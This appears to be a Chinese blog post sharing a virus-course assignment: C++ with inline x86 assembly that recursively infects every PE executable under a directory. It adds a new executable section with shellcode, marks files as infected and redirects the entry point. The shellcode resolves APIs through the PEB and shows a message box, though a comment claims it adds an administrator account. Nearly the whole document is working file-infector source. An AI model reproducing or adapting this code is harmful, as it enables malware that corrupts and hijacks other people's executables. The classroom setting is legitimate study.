病毒课程老师要求的代码
用到了很多PE知识:
直接上代码吧
// ganran_pe.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <malloc.h> #include <assert.h> //本程序只适用于载入基址定位的。。。非随机基址 //感染指定目录的PE文件 char ItIs[MAX_PATH] = "C:\1"; //添加了一个新节区 //然后shellcode是添加一个名为a,密码为a的administrator //然后PEB定位kernel32只在我的win7 x64电脑上测试成功,可以稍许修改,以通用 //函数功能: 以ALIGN_BASE为对齐度对齐size //参数说明: // size:需要对齐的大小 // ALIGN_BASE:对齐度 //返回值: 返回对齐后的大小 DWORD Align(DWORD size, DWORD ALIGN_BASE) { assert(0 != ALIGN_BASE); if (size % ALIGN_BASE) { size = (size/ALIGN_BASE + 1) * ALIGN_BASE; } return size; } //函数功能: 检测感染标识和设置感染标识 //参数说明: // pDosHdr:执行DOS头 //返回值: 是否未被感染, 是->TRUE, 否->FALSE BOOL SetFectFlag(PIMAGE_DOS_HEADER &pDosHdr) { if (*(DWORD*)pDosHdr->e_res2 == 0x4B4B43) { return FALSE; } else { *(DWORD*)pDosHdr->e_res2 = 0x4B4B43; return TRUE; } } //函数功能: 打开文件并判断文件类型 //参数说明: // szPath:文件绝对路径 // lpMemory:保存文件内存映射地址 //返回值: 是否是PE文件, 是->TRUE, 否->FALSE BOOL CreateFileAndCheck(char *szPath, LPVOID &lpMemory, HANDLE &hFile) { //打开文件 hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { //printf("CreateFileA %s Failed! ErrorCode = %d ", szPath, GetLastError()); return FALSE; } HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL); if (!hMap) { //printf("CreateFileMappingA %s Failed! ErrorCode = %d ", szPath, GetLastError()); return FALSE; } lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL); if (!lpMemory) { //printf("MapViewOfFile %s Failed! ErrorCode = %d ", szPath, GetLastError()); CloseHandle(hMap); return FALSE; } CloseHandle(hMap); return TRUE; } //函数功能: 感染指定文件 //参数说明: // szPath:文件绝对路径 DWORD dwNum; PBYTE pByte; DWORD dwOldOp; DWORD dwNum1; DWORD nSecSize; DWORD size; DWORD i; PIMAGE_SECTION_HEADER pSecHdr; PIMAGE_SECTION_HEADER pNewHdr; PIMAGE_SECTION_HEADER pLastHdr; PIMAGE_NT_HEADERS32 pNtHdr; void FectPE(char *szPath) { LPVOID lpMemory; HANDLE hFile; if (!CreateFileAndCheck(szPath, lpMemory, hFile)) { return; } PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpMemory; //判断DOS标识 if (*(WORD*)pDosHdr != 23117) goto Err; pNtHdr = (PIMAGE_NT_HEADERS32)( *(DWORD*)&pDosHdr + (DWORD)pDosHdr->e_lfanew); //判断NT标识 if (*(WORD*)pNtHdr != 17744) goto Err; //设置感染标识 if (!SetFectFlag(pDosHdr)) goto Err; //检查可用空间 if ((pNtHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHdr->OptionalHeader.SizeOfHeaders) goto Err; pSecHdr = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHdr + sizeof(IMAGE_NT_HEADERS32)); pNewHdr = (PIMAGE_SECTION_HEADER)(pSecHdr + pNtHdr->FileHeader.NumberOfSections); pLastHdr = (PIMAGE_SECTION_HEADER)(pNewHdr - 1); //检测是否有附加数据 i = 0; size = pSecHdr->PointerToRawData; for ( ; i<pNtHdr->FileHeader.NumberOfSections; i++) { size += Align(pSecHdr[i].SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment); } if (size != GetFileSize(hFile, 0)) { return; //有附加数据 } goto shellend; _asm { shellstart: CLD ; clear flag DF ;store hash push 0x1e380a6a ;hash of MessageBoxA push 0x4fd18963 ;hash of ExitProcess push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ; esi = addr of first function hash lea edi,[esi-0xc] ; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh, 0x04 sub esp, ebx ; push a pointer to "user32" onto stack mov bx, 0x3233 ; rest of ebx is null push ebx push 0x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx,fs:[edx+0x30] //得到peb结构体的地址 mov ebx,[ebx + 0xc] //得到Ldr结构体的地址 mov ebx,[ebx + 0xc] //得到ldr.InLoadOrderModuleList.Flink 第一个模块,当前进程 mov ebx,[ebx] //得到第二个模块地址 ntdll.dll mov ebx,[ebx] //得到第三个模块地址 kernel32.dll mov ebx,[ebx+0x18] //得到第三个模块地址(kernel32模块的dllbase) mov ebp,ebx find_lib_functions: lodsd ; load next hash into al and increment esi cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger ; LoadLibrary("user32") jne find_functions xchg eax, ebp ; save current hash call [edi - 0x8] ; LoadLibraryA xchg eax, ebp ; restore current hash, and update ebp ; with base address of user32.dll find_functions: pushad ; preserve registers mov eax, [ebp + 0x3c] ; eax = start of PE header mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, [ecx + 0x20] ; ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions next_function_loop: inc edi ; increment function counter mov esi, [ebx + edi * 4] ; esi = relative offset of current function name add esi, ebp ; esi = absolute addr of current function name cdq ; dl will hold hash (we know eax is small) hash_loop: movsx eax, byte ptr[esi] cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi] ; di = ordinal number of matched function mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the ; relative offset of matched function xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to [edi] and increment edi push edi popad ; restore registers ; loop until we reach end of last hash cmp eax,0x1e380a6a jne find_lib_functions function_call: xor ebx,ebx push ebx // cut string push 0xE9D1B5CA //构造中文字符串 push 0xBEB6A1B2 mov edx,esp push ebx push 0x20202031 push 0x32303232 push 0x31313130 push 0x322B6E61 push 0x7571676E push 0x61686367 push 0x6E616978 mov eax,esp push ebx push edx push eax push ebx call dword ptr ds:[edi-0x4] mov eax,0x11111111 jmp eax } shellend: PBYTE *pShell; DWORD nShellLen; _asm { lea eax,shellstart mov pShell,eax lea ebx,shellend sub ebx,eax mov nShellLen,ebx } //添加新节 memcpy(pNewHdr->Name, ".panda", 6); //新加节virtualsize nSecSize = nShellLen; pNewHdr->Misc.VirtualSize = nSecSize;//这个值可以不是对齐的值 ps:貌似除了这个其他都要对齐哎╮(╯▽╰)╭ pNewHdr->VirtualAddress = pLastHdr->VirtualAddress + Align(pLastHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment); pNewHdr->SizeOfRawData = Align(nSecSize, pNtHdr->OptionalHeader.FileAlignment); pNewHdr->PointerToRawData = pLastHdr->PointerToRawData + Align(pLastHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment); pNewHdr->Characteristics = IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE; pNtHdr->FileHeader.NumberOfSections++; pNtHdr->OptionalHeader.SizeOfImage += Align(pNewHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);//这个值必须是对齐的值 // pNtHdr->OptionalHeader.SizeOfCode += Align(pNewHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);//话说这个好像可要可不要 //FlushViewOfFile(pDosHdr, 0); //写入shellcode dwOldOp = pNtHdr->OptionalHeader.AddressOfEntryPoint; printf("原始入口点: %XH ", dwOldOp); dwOldOp += pNtHdr->OptionalHeader.ImageBase; printf("原始程序加载点: %XH ", dwOldOp); dwNum1 = 0; SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, pShell, nShellLen, &dwNum1, NULL); SetFilePointer(hFile, -6, 0, FILE_CURRENT); WriteFile(hFile, &dwOldOp, 4, &dwNum1, NULL); //写入剩余字节 pByte = (PBYTE)malloc(pNewHdr->SizeOfRawData-nShellLen); ZeroMemory(pByte, pNewHdr->SizeOfRawData-nShellLen); dwNum = 0; SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, pByte, pNewHdr->SizeOfRawData-nShellLen, &dwNum, NULL); //FlushFileBuffers(hFile); free(pByte); pNtHdr->OptionalHeader.AddressOfEntryPoint = pNewHdr->VirtualAddress; //printf("新入口点: %X ", pNewHdr->VirtualAddress); Err: CloseHandle(hFile); UnmapViewOfFile(lpMemory); } //函数功能: 扫描查找文件 //参数说明: // szPath:需要扫描的目录 void FindFile(char *szPath) { WIN32_FIND_DATAA FindFileData; char szFileToFind[MAX_PATH] = {0}; lstrcpyA(szFileToFind, szPath); lstrcatA(szFileToFind, "\*.*"); //查找目录下所有文件 HANDLE hFile = FindFirstFileA(szFileToFind, &FindFileData); if (hFile == INVALID_HANDLE_VALUE) { printf("FindFirstFileA Failed! "); return; } do { char szNewPath[MAX_PATH] = {0}; lstrcpyA(szNewPath, szPath); //判断是否是目录 if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { //判断是否是.或.. if (!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")){} else { //递归查找下级目录 lstrcatA(szNewPath, "\"); lstrcatA(szNewPath, FindFileData.cFileName); FindFile(szNewPath); } } else { //处理查找到的文件 char szExe[MAX_PATH] = {0}; lstrcpyA(szExe, szNewPath); lstrcatA(szExe, "\"); lstrcatA(szExe, FindFileData.cFileName); FectPE(szExe); } } while (FindNextFileA(hFile, &FindFileData)); FindClose(hFile); } //主函数 int main() { FindFile(ItIs); return 0; }
最后弹框 姓名+学号